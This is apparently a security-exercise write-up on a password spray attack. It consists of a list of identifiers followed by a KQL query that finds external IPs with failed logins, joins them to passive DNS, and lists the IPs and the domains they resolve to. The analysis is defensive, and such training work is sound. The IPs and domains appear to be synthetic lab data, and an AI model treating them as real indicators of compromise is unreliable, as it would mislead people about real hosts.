987092b4-68dd-e11d-d39e-e2cee28fa6d7 1
9845bcec-8557-7e41-da67-6910a0329b18 1
c35c4016-c20b-e15f-54ae-c2bc084b8fc7 1
ef8d8da5-007d-b370-5404-5fe88f89450b 1
c9d7da41-6ff1-186d-f418-2fed650174ed 1
75361f6e-6525-5e38-4a25-80b09d9fa090 1
e14b8f62-afe2-d6bb-1c6b-e220fd4868be 1
f151269c-797a-01f5-5193-84689c93dcd3 1
30a192dc-60f6-6ef4-a613-5a966d86f7a4 1
401bb331-2314-822f-30a9-7af48158a0d7 1
5b9ad8a5-4f71-8cb7-7d99-f53c365fda19 1
9e35a9b0-f312-a446-ee08-b6eed8bfb242 1
99a1a124-8687-4281-2323-207f8bc9bb2a 1
d1150c96-8322-528d-5f31-e4b373383dce 1
cde91a8d-23e6-8ecd-f7d9-48a4e3d3ce22 1
69c9184a-04aa-2c48-7316-676f98c63106 1
a33fd69a-f1c3-2807-ee45-9fff9518dcb8 1
3f885a4e-a8c8-61c5-528c-b5a1c255930f 1
d9a1a5a4-2665-5349-5464-72aca7c7c1da 1
675a9729-b6fb-75a3-1850-895f851e1589 1
2a3f8f44-fa30-cf26-a892-0ec3cd37c22c 1
98d6dcd8-5d8d-dcef-a01e-6f71b29fb3ce 1
7671433e-0dbe-3a60-4ee6-d8a52c1e5c71 1
582df4f6-7a2f-24ca-5a13-5f16135203c1 1
97ab44df-8925-9706-118c-d560b0f19329 1
567f38f6-4512-42b5-e702-35881e9b9c31 1
e45209d5-954c-cd9d-1d22-75a9cb457761 1
e8cf0e19-c9d6-de3f-315e-69844fc3274f 1
606c8043-596f-1951-1262-200f0dea16cd 1
679a0595-d3f2-a1a8-f6d3-195500fa3d55 1
b8f82d5e-ad0b-36ce-1f08-2f79e09a5314 1
7f5028c1-a856-1e7e-38c2-abe969c367f3 1
d2f087be-8bfd-585b-64c2-66dde1601229 1
83126c9e-652e-f508-471e-0526acfaecb1 1
98143ba1-1884-2bea-8cc3-a031f611f2a1 1
82d6c760-3271-12de-657e-a2a514f5f6bd 1
c9abe839-a285-1cd6-878d-5ff544da74e6 1
98eb3a7e-9c57-91ea-acc0-a674bfe97e0d 1
37df0d17-e954-acb2-c185-fdacfc3676a1 1
ab03b588-4fc1-cd95-2e86-44676b92cc6d 1
1a101369-ccb4-d44e-c19c-0d1f23e44732 1
fe8c79ff-22fd-e1a8-8ff2-7683ea8f2b23 1
5b453146-2de2-b020-eeb2-ddd962cde8a7 1
b4ffdbe7-fd86-959d-c453-76bddfeaad13 1
16594670-ea89-ff3e-e5a3-9f23f1523719 1
5941ea81-0e4e-f8e8-4335-6dd9b496e5bd 1
7828a74f-63d9-1a33-6e88-77ab5c3b2eba 1
9b4369c5-a8b5-0986-81d4-24465fbbf169 1
de749679-48a3-0727-cb72-f8b2f8aefcc4 1
101552b8-fcd3-24a8-6856-8fd3d795c5f1 1
93d3ae5b-4576-c25f-5698-1ba53d420594 1
6ccd04ee-e25a-fd91-4ee1-b6104e6682dc 1
a7ffb68b-8ae2-6c0a-de34-b952dca780bc 1
39da8317-4672-20a5-190a-9f91ca1bae09 1
6091b929-9466-dcb6-6d5d-076413b07e02 1
ee3df98d-f496-31ab-63f6-44f03adc34e9 1
51d3835b-c037-2386-9165-936626e80513 1
157cdeb8-7b0b-d551-c656-ec3625768eb5 1
3264e40d-583f-f6f0-70ac-6f5a85fc6c45 1
8381ed3a-ad81-1805-0849-7f04de902616 1
69147080-3c02-64e4-d691-5ce3b03a8258 1
0817d432-b402-927c-ee27-b5bd1d0a6f2c 1
2f49b254-5fd5-7abf-d724-5f00837dd6b8 1
8aa7d6ad-434c-0003-0d14-992b8bda091e 1
7add7e7d-3e7f-0655-be81-49b4907a2c4e 1
dcce2622-d438-14ec-6473-abc918aeb2d8 1
0b4e784b-36b0-c893-cb4a-8a99d39628fc 1
07325954-02ea-3af1-3b3b-62c9b66b2c34 1
a748f52b-8365-f4ed-60b7-9a61eb94dee6 1
7b40b6af-b464-2013-781a-1400d70fe0ad 1
b9990fb8-dc39-05c5-c6a8-a89e3263ff53 1
304652a6-e101-4167-2dcd-f1493abaddd4 1
641f44b8-84c0-e72d-296a-46b0f9137381 1
5e703f84-47bd-0af2-9e27-3b33a1f83e92 1
440cd7be-356f-9eb0-e089-4d2a727d9c9d 1
b510ae7b-36f5-1656-e69a-3a10e0eaaa29 1
6479c90d-57aa-acd6-ab0b-d830b453f51d 1
00b7a0a2-ed0e-acc3-ebd7-fce54e9015a3 1
f1cd0bc0-4077-08ee-db71-41e0e4729c7d 1
242bfa9d-f817-6fa4-74c9-7b7e8ca9b722 1
191d4ac6-bc2c-8ca8-7b3c-836356ba9ec0 1
d0f75bd8-bbfe-2990-f999-cfaecb32f8bd 1
ad1c09e9-680e-45a0-12a8-2d9a4a8967ac 1
08a4b237-b5bf-d949-8883-1f24b8e09e96 1
22835a76-9973-5448-54bc-e456ea96c2ca 1
3e0060aa-0b89-7461-3e5c-805f0b320b57 1
f1101d54-ab96-2f34-77f9-cbf001eafbd0 1
270a04e7-1acb-149b-014b-f59d353632fc 1
4934f0f8-d48e-78a6-6029-76f6666154d5 1
a4c376bf-0174-2788-7be9-0f7790cf9fd4 1
c93491f0-f64f-3af3-8830-702f9c1fb61e 1
1fb2a859-cb7b-6254-48b0-99f2079c288c 1
bb3c8429-8e2e-e66c-5029-315ae5d213e3 1
80232cbd-d404-87b6-2836-5d2ab1fdcd76 1
6eee3347-e66f-6484-f81a-2488c8698010 1
4014491c-da86-822c-63ea-1705d5ded257 1
b7c9bd76-36de-5777-ce73-9f92343f8e67 1
cde602e7-727a-fba6-1c44-694ae5dc6626 1
46197263-5e5e-cc4f-9609-93840c6ea1c4 1
8c0dea3a-4582-ed6b-5031-d085891046e3 1
e24a3e38-5ccb-0fa6-0089-e5d6f870d916 1
8f9b723e-3d88-c8b1-ef78-c0b20fc9471f 1
51e86040-dd4f-ddb6-c4e4-862f9b0f52d1 1
af046717-5a4b-5ada-1d2c-fac9a824e58c 1
e1741803-f0ea-8c20-bf6f-cec24b591d0b 1
cafe21b0-0b89-3a1c-04b4-b22dacd79699 1
72fe5c8c-a790-6344-a2a4-49549671ca40 1
31bcb008-461d-6134-9269-95625b77c884 1
99178f5d-2136-673d-e5c8-626d7fb905ab 1
fdb313ea-855b-ac6e-644e-523b1de1b043 1
4188a50e-0ca7-338b-2065-08668cd311fb 1
f2198329-2a9b-273a-1e94-17c31a329666 1
b9b1f775-b4d5-8616-c6c3-fd6862732bec 1
8f2f6076-c380-fb4a-a9cb-00c52c7fc484 1
1021ff13-7543-0bf8-4cc5-be7717274780 1
e723a323-da27-2090-ef48-5871ffcae86d 1
443edcf3-72e4-ff0e-06c2-0639d635f339 1
d279b388-6107-d6e5-f5ed-13dfe859ef2e 1
38bb6bc9-6ba0-ecdb-1ad5-81732e973d46 1
d7b26569-fa70-efd7-7195-6549774b386d 1
712ca087-96ba-e7cc-8b8e-d220e1ce6921 1
5dfb3861-e2be-b033-d1bd-49e8ab2639b0 1
d918b525-93c6-a8a1-10bf-ad468088bbd4 1
4c00d2de-8aec-b49f-0cb3-0abc05f01639 1
c154f341-c4dc-baf3-d0cf-1cc62376c066 1
ee4fa61f-d972-c580-c76a-24bce8b000c4 1
e567abc8-4c82-7e0b-515f-0e3b758447a0 1
619f3b8d-5c4d-9a92-ac80-304d1badf589 1
7a223c70-e061-dd55-d1a6-29ca6d89785d 1
71b7a878-fb47-f83e-2e42-4e5a028fa25b 1
731a493a-f1c0-a946-a2fe-35b54f9bb4fe 1
8d301b57-9a39-84b3-ef31-83059e0094e9 1
b0c3ab32-bd09-e49c-4167-d943c91e5809 1
eb9e0ab8-255e-dfcc-e219-71e183618b8d 1
fec5a66b-84f0-0c1c-5022-68cf11febd6d 1
d47d749d-5b63-25ce-1ec9-abeb3017d43a 1
05d418a9-8b24-8359-665a-42227b12c8f0 1
8f9c90ab-f118-d87e-0db6-1891dcf537d4 1
4d64f5fa-cac3-decc-fafd-d856076923e4 1
12beb2ca-6a35-888c-e68c-85f2b6c8f8c1 1
9c71e4ad-aca8-a2b4-a816-5d85be74e373 1
a4dd1cb8-a6ec-f70c-ac4f-8578845c4f15 1
a1e603f7-4ae3-5bad-2bf4-4658cb09e786 1
43c0a6a8-0344-c3d8-95b7-e755a0f23a01 1
ba03e03f-6737-d6e1-4cb3-4a067b4886bc 1
31fa62a1-66f4-e72a-e42f-c1c3f45d4140 1
baa2c126-ab75-4c22-247e-619457f61485 1
f7b78bcd-0485-33a5-c5ff-7fa6cd54285e 1
24af0798-d0fc-6bdf-068f-16f0937e7406 1
805868d5-a532-e269-2d25-dc421a502da3 1
082cd2d6-da03-fcdf-605a-4bccbe467de5 1
83929550-516a-a56c-3dc3-f8ddac8430d1 1
fce87e6b-d7bc-f2f3-484c-1244f53b4ccc 1
2d503a5e-de44-080e-b52f-727aecf29536 1
91b1904f-7e08-3e3c-543b-4cfaebad192c 1
fa5f13e1-ea49-c09a-bb6c-6ef7fb0d8c19 1
1875c477-e8dd-e52e-8eb9-0ac2c49b6219 1
c9662b25-a916-e7dd-0620-7da1a86f6a91 1
4abbbde5-6ffc-f498-86f1-b47c673534aa 1
4b101cc6-8cdf-6aa8-5576-d7a88a9bccfd 1
3805088b-21de-52c3-cb17-b392c5d363c9 1
0f4e809f-7fcc-ceaa-5e37-1774796e0181 1
07f49be0-eece-3f58-4d94-826f02683a64 1
443e1f26-b075-9477-2c29-ddae61fa37e1 1
f86a82eb-e515-e7b6-0366-37c8480eb3c6 1
f1c32c12-71ae-71c5-3b11-8bb56ddb2005 1
16d603a4-f038-eb14-9a1c-bb4f4234c70d 1
93faa2e9-c65f-e4b2-e3b7-a8d676a2961b 1
becf8c6d-3fec-3e5f-ed37-0ced20afa1d6 1
e6a3cb4c-8437-708a-9941-5432305e1de1 1
619b768d-29c5-ff11-75cf-913a52c35d9e 1
eded1773-39ca-a965-07cf-0ce43cbe854d 1
ed4feb30-306f-ea3f-49ee-4281855153a2 1
e261356a-72b4-38f8-af40-8e5323045cc6 1
01527443-f47b-8572-86e4-2dd7ec334359 1
b71eb7a0-4359-fece-5847-3f5e7cabc156 1
bcdaccf4-1cc8-92d1-496c-3fbc0ee973b3 1
3bd13b6b-1882-cece-11f1-a62d0ed3192e 1
3f6a21a7-fbe8-0167-f7fa-0b6c9356d41f 1
9628db22-5c1f-d2f4-3505-e2459013307f 1
cf95a03e-ed14-070a-d8f0-2f08f0304cdd 1
2c79efdc-a47d-a3c3-ea44-4ee99ad3b1a3 1
5abd4b49-d007-aade-de35-027924feb6f9 1
5f73bde2-60e4-c431-8666-b0e8eae1584d 1
8b4b8567-92ee-a1e6-5c41-8274a04085e6 1
6db6e0f2-6654-3fa8-e2a8-076dc308da7a 1
0e9b8f74-e63f-c4e4-3fbc-fc537eaa85f0 1
e265095d-13bd-6bbb-0fba-e966ebe8a6ff 1
17f108d7-f227-d4d9-bdc4-88c8b90045d8 1
86d891c7-6f6e-c5de-b6df-74bc8920703f 1
c13c9a5d-2076-4b08-384f-71bb2d57f427 1
8e17ada7-457a-0062-bf59-dad91f7ee0d5 1
f245ab9d-077b-6bf4-ae01-106d2def3513 1
cc33c815-2571-8790-3004-579566731144 1
f2506e23-a531-f2f0-d3c5-d0554c8f368f 1
8958c773-2da9-0955-d5f0-71937a71430f 1
de4d103f-9452-861c-11d1-7f9e08ac8eb6 1
aeaa4274-3a80-2582-312c-613fe1a067e6 1
67c356e3-13d2-f5b5-f9e6-27389a839fa6 1
24b63dc2-a548-856f-2d18-54973a9f740c 1
f64133e2-6afa-e9b5-e39a-2894231bceaa 1
a2df9298-03a4-3af7-ed2e-dca0070f7292 1
81070b81-0157-83a1-1cdf-f2bae2828616 1
cb87e864-129c-d031-03b4-72c2b5bbf308 1
cfc2f458-a703-16e0-c31c-07c9905ded34 1
62cdc63b-6f81-e74c-b2be-cb9554de52ff 1
5359479c-6de4-7fdd-6f18-65c0c9d39865 1
3dd20a28-848e-bb02-e4f3-3a77f4db69dd 1
b7b6a6f8-a033-b882-792f-61534829764a 1
5af7d51b-f6fa-8af6-764a-c6316b155c38 1
00712e75-c2d9-f9f7-1d9b-c2cb70ac7433 1
3479df0a-be3d-637c-764c-e75e4d67c3c8 1
2524c673-fabd-a90b-4a5a-0d0a52264c7e 1
991b0331-b446-74b4-0c34-20ae9133d88d 1
093ef67b-3412-5dd4-18e7-9aece1a88031 1
2c798c74-ee7a-27dd-227a-7e468b2f2006 1
c1596e0f-5413-e3c4-68b6-bf7ac705ed57 1
e189b53c-9a13-0d6c-ad3c-5838bc068ec5 1
59330925-aa55-a9d1-9955-f50652143636 1
5adcfe9a-db0b-1cb0-8457-efce3ba5c921 1
ae42a411-d013-940f-53f6-c6cfc3ca5427 1
4d657787-866b-d607-eec2-a9f54761b52a 1
86be8ff2-569e-77a4-f6fa-2dc53d624422 1
75423e3b-73a7-a140-5fb4-46eee8ef913a 1
48e7ffd6-1ec5-0b19-37f0-c8094829f515 1
841e3f0b-62a0-9404-8097-12db902b2c45 1
4cf02a7a-9e60-ad78-3537-a5be0182ba66 1
83439b7a-827a-f36d-d977-7e4656ad57d4 1
8658425c-58d0-08ca-c8d6-a3f44a0b9533 1
c915c0f2-5ce7-d6c7-0896-607999c2134c 1
f0877bd1-6099-8451-9512-03d1a539c6c2 1
b8c43ada-afc4-fc18-3969-e33761523345 1
bb7124dc-b81f-257a-6bd3-35e4a111913f 1
635bcbe0-9c96-e64d-b3e5-c970fb687d78 1
7ae774ee-1335-9285-9d38-ec4bb467c56f 1
9e4856dc-1e8c-becf-aec0-1c841a402a93 1
abbac1d6-923e-b964-2384-0c015514d872 1
c2f97d24-142a-4563-5364-d19050d8c98d 1
297d22cd-c3ef-cc6c-f69c-a8ed3d93e6e0 1
5697fba5-65db-c091-24da-fa2f564b46fb 1
90360c37-68a2-0fdf-634c-1ae4e4f243a3 1
6ef023c7-6bee-ea77-8175-7dbe5ab10da0 1
71da4dfb-1657-9609-8fb8-85366e8fc712 1
76a01736-6c97-327f-8057-6098e8713853 1
f2792853-cba4-0378-9873-00bfe55bbfda 1
d287c417-86d7-732f-8a0a-0c542d4c6c0c 1
a30b1d7e-43b1-8abf-94e5-b56cad07af85 1
4a199373-2c00-a919-ad4c-52b939bde62b 1
16215139-6c72-e131-7068-482d0b2f4d25 1
cb0c61ca-b091-1652-19fa-ff8629b839e7 1
81dc843d-7138-f406-6786-fec5ff0c0b97 1
027bd42a-291f-e62b-f846-764634c096b9 1
713cb2d5-5689-e782-aca5-c307a9688071 1
8c3571c9-ec5a-4305-1fc5-9420448077b5 1
83df6125-e0ea-42a9-d502-385def78c5db 1
19aba34a-e4c7-5d65-4264-97c8e32b1aa2 1
b842cdca-7bd0-fbf8-94a4-2d9153b442eb 1
5c2aa5c1-20d4-a5ed-3561-df365b7a98fe 1
6f6935e2-7093-b376-3231-10ec41d84dba 1
56e0de8c-5ee1-f49f-e77c-1dc188e0319f 1
5a9a13ed-1a12-6dc8-c125-de51741f4d23 1
5bb4aa87-0a3f-4ba9-9da2-267d43a17a27 1
884b2727-2a4d-e57a-a9a0-e2e85a63a945 1
75f0e6c8-b80a-a25c-6a54-e19da0e20ced 1
c8cfa607-0c97-d865-8fc4-bff159d97d73 1
cf7386b8-97e5-b796-72d4-7dba973a03e4 1
09fa5886-4d09-ed97-b2ec-ec07c6ad0654 1
482549c8-380b-2d22-efaa-475545f92d54 1
4f0cef52-9463-aeb0-0bbf-b213a9f71e0f 1
5b908ca3-f961-6e51-8ceb-ade6cf33bfb0 1
fe7398d6-2110-bb92-fece-de7f8357e5f8 1
0a8d8b19-d330-3b6b-6b7c-bbd9ea451a6c 1
7e39fef3-6015-833b-080f-3306b14fdce4 1
65e07787-6b9c-128f-c729-ca5c00bd41a6 1
eff70a7f-e881-63d3-2b03-6e02686922b9 1

This is clearly a password spray attack. Running a similar query but for Succesful Logins shows that very few were actually successful (4 at most). The following is a list of all malicious IPs involved in the password spray attack and the domains they resolve to, if any:

AuthenticationEvents
| where src_ip !startswith "192.168."
and result =~ "failed login"
| distinct src_ip
| lookup PassiveDns on $left.src_ip == $right.ip
Query Results
src_ip domain
219.158.52.73 mixer-heath.com
223.80.243.56 clan.io
223.80.243.56 clan.io
219.158.52.73 provident.com
219.158.52.73 mixer-heath.com
223.80.243.56 downfall.org
223.80.243.56 arbiters-tail.info
223.80.243.56 clan-activists.tk
219.158.52.73 negativeness.com
212.196.94.88
203.8.255.203
190.140.20.228
219.48.38.15
220.80.177.254
38.168.52.171
138.134.65.4
66.234.250.22
218.156.20.228
131.241.54.43
208.251.99.48
157.246.211.36
196.176.151.214
76.39.200.159
148.226.68.165
113.70.253.66
106.3.94.212
187.189.72.198
144.156.115.167
210.49.215.118
189.166.14.16
77.87.115.129
66.204.75.113
195.211.96.7
147.200.65.255
170.3.37.101
197.32.104.128
215.14.46.124
202.131.72.105
194.221.200.223
219.159.56.243
208.175.155.91
59.110.142.128
154.89.55.51
159.87.84.106
111.175.123.79
49.19.42.71
211.109.226.111
106.107.30.179
92.117.36.100
160.104.182.139
64.143.25.245
138.197.182.121
210.45.17.244
134.10.250.213
191.173.189.26
69.30.218.83
169.33.120.104
8.218.83.225
200.224.147.166
129.84.98.44
163.158.238.146
163.146.183.6
4.112.93.108
193.159.118.128
213.119.187.68
58.219.191.246
138.234.69.61
25.239.75.233
53.213.195.192
34.254.48.71
88.208.49.209
2.227.149.200
196.217.171.12
24.62.16.148
172.176.77.216
202.255.7.252
166.104.31.24
87.181.115.22
196.61.24.40
217.230.13.75
209.183.185.237
196.88.242.5
69.10.3.192
191.89.136.196
32.240.252.97
153.148.135.247
5.236.162.197
209.90.24.233
175.239.215.245
140.134.121.243
195.181.143.128
27.147.210.111
117.228.43.179
56.113.159.50
12.117.26.112
52.169.16.197
123.78.197.223
25.48.242.77
9.37.223.58
136.176.213.0
141.239.199.243
168.215.237.53
156.181.55.123
200.212.54.16
211.192.22.217
214.122.80.127
157.5.117.149
160.17.125.253
169.150.161.70
197.12.237.97
45.71.151.182
155.132.206.204
199.230.53.15
29.104.228.94
221.182.213.115
223.157.90.110
207.140.115.172
143.156.95.1
140.114.72.131
181.199.216.110
214.247.24.6
180.165.42.122
211.105.89.16
121.71.117.120
97.9.139.57
187.173.16.220
199.214.108.5
202.8.138.27
16.14.137.84
156.90.168.48
216.59.66.24
168.94.192.170
217.255.25.106
210.204.100.65
13.109.30.181
169.78.179.77
135.32.9.228
94.215.206.62
185.199.129.140
215.19.130.143
153.154.176.59
195.148.56.18
197.79.159.79
58.144.148.69
37.105.146.189
57.248.72.17
150.105.184.74
193.120.167.184
148.126.112.139
186.201.180.122
50.163.55.239
211.30.147.157
220.241.164.197
90.36.70.172
177.32.187.175
35.31.153.98
210.181.193.230
86.183.115.25
131.107.114.242
18.169.58.7
124.91.155.98
152.42.19.150
62.220.193.192
183.219.70.247
151.103.81.104
213.174.255.55
143.8.62.41
118.149.121.208
2.196.114.240
122.201.2.75
9.132.246.5
121.163.214.214
76.20.197.250
149.98.62.243
114.156.113.241
69.201.213.37
192.206.70.108
202.42.17.219
106.67.11.157
132.62.175.243
220.46.185.74
106.71.155.76
206.225.55.37
61.231.84.61
44.161.222.61
49.55.97.62
65.113.217.170
177.43.38.161
91.17.63.161
128.65.99.97
39.201.123.145
219.29.149.168
152.132.38.184
169.89.100.44
7.244.212.92
105.164.21.166
213.36.48.59
211.71.56.246
175.172.31.68
33.10.40.250
175.149.193.240
191.103.43.204
203.91.160.173
199.71.33.126
123.181.164.175
151.26.197.36
88.218.209.218
110.85.86.2
200.197.211.157
213.236.121.137
155.57.138.180
120.182.160.189
181.62.69.94
18.76.88.68
211.227.175.130
219.181.181.87
220.171.84.108
99.185.144.125
213.219.57.71
213.51.172.136
206.166.84.218
207.203.150.58
74.232.2.39
222.250.81.74
195.61.204.64
183.124.196.37
168.82.246.45
72.64.87.242
116.135.92.86
136.94.140.248
94.173.179.15
20.186.66.23
6.119.35.132
178.137.140.126
149.80.5.219
197.229.241.51
214.134.253.235
207.226.192.192
166.191.53.65
110.125.133.25
138.56.17.243
201.178.210.16
201.88.249.175
189.56.70.99
77.160.94.124
148.217.178.172
161.22.52.87
86.244.239.211
177.172.72.220
202.248.170.20
171.126.81.76
143.188.153.177
68.38.62.144
100.230.47.97
148.179.103.45
188.223.71.83
46.86.197.41
18.57.129.227
52.52.149.192
24.126.128.7
69.33.91.104
30.144.49.153
191.109.224.199
196.31.207.105
67.85.97.247
192.175.94.198
174.237.93.187
171.14.230.119
158.206.235.204
198.120.188.3
222.242.41.206
87.156.6.136
223.177.101.106
163.243.5.36
180.185.7.222
218.33.183.242
214.194.194.67
142.96.39.129
131.189.34.81
200.213.74.41
198.183.15.128
219.220.148.216
217.136.110.174
215.24.93.81
201.73.151.66
45.161.243.243
52.0.111.119
36.75.5.54
207.134.192.216
208.84.51.69
161.55.100.182
47.202.82.187
21.99.225.182
213.114.196.243
45.243.223.83
148.102.142.139
76.120.237.81
147.230.83.62
198.38.192.53
181.137.106.96
197.237.43.63
160.130.122.136
177.119.149.125
218.79.27.5
73.222.184.222
211.10.135.41
218.103.207.37
216.171.13.43
148.111.223.101
206.32.163.45
174.23.225.9
126.238.154.16
98.72.146.204
95.46.115.252
23.239.112.108
62.92.124.178
153.216.142.14
193.188.40.58
177.98.145.180
183.23.194.239
92.208.245.139
214.70.44.52
203.4.92.121
19.24.163.148
76.149.118.99
204.177.180.75
212.170.240.40
219.217.252.196
43.133.100.122
181.144.14.147
220.35.189.110
81.241.230.12
199.226.71.235
217.203.251.128
203.150.215.143
222.146.4.101
160.228.19.100
36.129.223.120
205.30.81.205
192.119.210.204
223.31.159.255
46.243.79.23
205.154.192.175
117.64.230.250
47.25.132.102
88.3.241.96
103.153.111.139
6.9.148.191
140.7.190.5
20.161.72.64
209.241.210.80
142.135.134.71
150.50.206.178
206.252.67.247
45.226.194.176
160.215.15.141
165.220.113.36
209.184.82.245
136.67.97.195
165.210.52.156
33.196.103.68
214.37.73.241
194.196.140.140
217.206.61.137
204.84.72.158
112.103.119.215
192.59.235.167
214.171.26.18
96.161.247.161
151.248.37.144
218.90.124.202
213.30.88.3
172.124.138.55
195.50.187.98
102.214.26.68
223.195.181.181
13.218.86.21
197.253.254.150
152.247.164.138
79.154.123.15
193.225.98.103
160.103.213.84
221.173.167.150
223.73.169.58
213.73.205.113
29.161.45.105
183.238.119.64
204.19.111.33
201.255.13.250
138.170.11.140
118.130.19.123
20.208.78.56
143.199.22.179
207.71.67.196
200.248.169.82
57.44.78.138
102.143.155.164
153.110.20.246
14.176.224.110
40.234.164.209
59.98.134.220
133.140.151.165
168.30.2.108
196.72.55.118
12.49.5.6
205.158.190.198
130.53.200.218
26.136.60.173
134.226.158.70
208.129.229.203
63.119.228.55
200.15.204.241
198.2.93.220
207.138.30.154
195.207.75.207
204.28.89.96
138.168.10.213
51.193.121.51
93.189.169.240
133.134.250.210
221.82.246.86
222.7.213.70
151.235.136.54
215.30.62.93
207.91.57.175
204.110.254.239
202.203.101.61
190.247.4.118
67.124.147.29
109.199.138.54
109.64.244.84
154.5.131.220
184.70.240.147
191.228.222.75
155.194.12.233
70.232.159.187
186.47.86.230
76.3.23.203
190.132.4.152
205.19.247.120
206.46.71.83
195.44.140.82
27.246.6.87
54.12.101.172
78.154.248.149
6.95.91.9
219.246.101.247
110.133.120.72
145.180.77.214
177.61.179.130
68.248.208.76
150.216.177.36
11.143.94.114
109.76.157.13
33.150.18.45
166.192.57.168
156.212.72.2
152.227.177.250
223.59.81.226
144.62.56.49
217.101.229.58
153.44.167.196
171.50.196.71
158.75.7.87
56.154.70.228
211.119.75.136
189.148.87.110
159.248.19.237
49.94.144.10
217.66.174.89
136.227.128.241
194.206.204.30
175.91.217.108
196.132.167.96
89.71.251.178
72.45.155.71
72.193.114.71
86.114.91.12
198.254.195.57
96.168.66.183
207.90.179.240
131.211.122.93
193.34.201.177
206.101.98.145
16.244.163.203
27.166.82.62
133.168.19.60
196.66.93.158
199.6.231.122
220.69.166.142
215.216.92.152
102.167.15.51
27.188.227.67
85.187.134.115
222.183.14.105
31.72.254.247
110.106.72.171
223.63.227.92
199.119.156.117
67.167.99.180
120.21.162.130
39.216.202.168
166.9.152.178
131.190.61.153
135.241.84.95
54.55.12.248
211.11.110.148
202.88.65.159
197.224.229.255
23.212.195.91
44.90.51.220
26.101.159.16
148.226.197.104
173.91.229.166
93.124.80.196
194.127.34.3
90.162.23.9
40.208.221.22
206.152.182.195
196.244.136.147
138.208.191.242
195.146.65.46
169.165.79.139
195.93.42.149
213.65.154.10
6.79.128.147
173.68.4.141
134.9.65.126
222.32.47.85
58.216.26.0
155.144.60.196
184.66.148.50
208.88.169.214
39.205.179.213
159.234.170.237
59.26.237.203
131.86.243.37
45.54.50.7
212.149.72.105
43.3.113.4
151.2.167.8
8.41.246.248
150.86.182.193
214.83.0.241
176.230.55.62
190.101.247.139
96.125.22.155
107.242.95.93
36.198.156.73
156.64.218.116
198.177.125.92
46.81.21.129
136.201.223.134
66.41.97.116
191.208.187.230
41.92.2.233
16.209.1.32
191.253.12.116
196.8.122.42
132.76.68.225
194.177.105.111
155.12.229.18
218.25.189.118
170.131.120.107
67.43.137.234
14.159.233.134
59.222.198.3
146.124.223.19
178.70.254.207
143.128.144.249
33.71.157.19
162.37.162.238
71.156.232.56
74.243.10.89
216.43.13.22
208.5.254.80
192.55.128.136
216.54.138.209
90.133.222.253
200.111.121.179
194.186.74.8
222.254.96.219
52.230.91.66
211.44.150.30
202.63.136.6
34.25.125.12
211.173.238.78
215.209.91.9
177.200.44.105
89.75.112.254
221.196.43.56
16.188.68.151
214.43.99.94
159.57.241.84
135.221.169.198
89.39.143.95
198.148.86.202
202.152.23.77
223.90.250.234
202.205.79.250
67.121.238.195
209.39.255.204
203.9.116.153
194.137.130.215
120.66.3.141
206.135.48.178
207.137.16.225
194.53.75.53
203.19.189.125
140.119.229.92
189.128.178.79
84.252.236.167
19.51.199.110
110.138.240.38
154.191.105.126
93.89.33.117
16.159.153.26
121.121.223.20
7.182.166.163
193.226.185.206
162.1.185.91
44.158.86.8
115.54.58.60
201.101.116.33
164.176.27.169
57.91.223.202
187.53.234.21
199.161.86.105
87.158.147.81
208.183.136.106
25.209.204.173
211.45.109.106
187.7.195.211
13.53.198.51
154.8.151.103
223.172.97.28
18.165.251.60
216.116.110.95
143.120.109.62
115.146.207.161
179.212.208.46
215.216.125.47
71.231.92.230
205.40.147.12
145.120.156.29
152.84.209.147
134.44.173.202
201.77.154.223
160.43.133.10
194.187.158.26
216.177.115.212
86.110.6.120
152.50.86.1
38.202.247.18
43.181.189.74
151.59.255.104
91.105.231.97
136.91.200.69
205.183.114.123
145.117.168.115
218.64.231.233
217.217.68.236
211.193.175.140
163.232.255.75
63.56.21.147
195.190.75.51
149.146.65.70
203.216.153.24
78.10.209.34
93.95.180.144
174.138.111.23
197.157.63.81
202.77.182.230
64.243.250.227
158.234.57.176
4.44.72.117
114.87.132.149
150.230.53.154
190.19.251.208
181.93.90.42
149.65.83.155
211.16.146.212
38.126.234.89
72.125.104.91
195.101.106.54
162.73.196.246
71.208.74.151
112.35.109.190
20.110.169.23
147.16.59.38
39.147.195.132
120.210.242.185
3.97.165.175
94.214.13.31
212.65.109.112
129.15.95.75
221.249.40.188
136.190.122.120
96.255.168.113
195.8.185.250
203.173.240.113
128.16.140.23
195.22.90.115
206.254.246.168
195.76.67.145
67.91.191.223
38.173.143.58
20.0.20.158
178.212.201.156
132.248.243.75
208.22.147.80
18.250.32.25
152.140.172.9
132.164.180.101
136.186.151.97
194.67.147.128
217.181.249.6
163.188.18.226
197.197.186.105
195.226.100.25
215.153.171.143
205.181.229.171
195.63.47.83
207.168.140.121
175.220.216.95
204.174.146.107
216.106.66.209
174.210.216.50
165.109.151.236
114.248.28.235
201.192.236.37
190.19.57.23
128.77.116.245
216.23.149.130
220.43.153.107
173.130.105.228
129.179.182.16
132.169.176.84
101.86.246.150
71.155.187.169
190.42.204.169
67.123.147.220
134.243.49.74
112.162.27.31
8.156.149.58
191.255.205.247
108.219.137.248
216.221.246.190
50.119.6.6
201.227.8.63
9.86.220.106
210.105.6.94
213.156.83.115
203.207.77.94
151.93.167.28
187.55.200.85
29.83.118.179
150.167.154.27
26.242.77.251
208.175.115.44
20.65.147.188
200.29.156.181
138.171.222.250
101.161.221.68
186.245.93.145
110.171.30.253
94.212.82.157
206.218.242.168
159.64.201.68
201.200.240.182
208.200.207.38
96.49.235.232
195.103.149.219
38.44.79.83
220.72.149.158
17.158.216.71
69.108.39.219
27.93.229.243
68.145.201.228
206.69.153.137
83.156.159.214
126.115.72.41
113.105.216.1
216.235.49.250
191.255.159.195
179.93.122.190
204.147.63.138
23.2.220.158
174.120.186.141
215.84.252.95
195.189.157.98
102.167.172.214
172.179.21.216
193.189.166.151
79.230.89.74
218.85.33.154
195.236.232.8
25.182.78.55
43.229.136.252
207.155.238.200
40.102.12.75
219.252.201.246
148.168.220.119
26.193.173.81
64.36.34.65
187.56.4.124
66.30.28.97
129.94.223.125
159.249.42.234
179.37.107.55
98.131.158.59
38.53.97.121
122.88.238.134
34.63.104.114
148.44.54.204
163.253.106.11
179.123.118.113
191.56.164.34
197.135.245.101
167.103.76.152
160.25.70.95
91.148.232.250
174.48.193.53
30.51.69.22
161.188.201.112
71.253.128.197
4.39.184.27
76.191.156.180
207.124.108.227
125.172.31.42
72.3.211.23
93.171.75.204
61.73.146.189
146.151.51.80
222.73.132.60
191.1.124.73
214.11.76.224
99.129.138.222
194.189.28.90
62.80.126.57
219.218.12.199
211.68.221.7
164.103.102.86
4.38.100.40
141.106.28.137
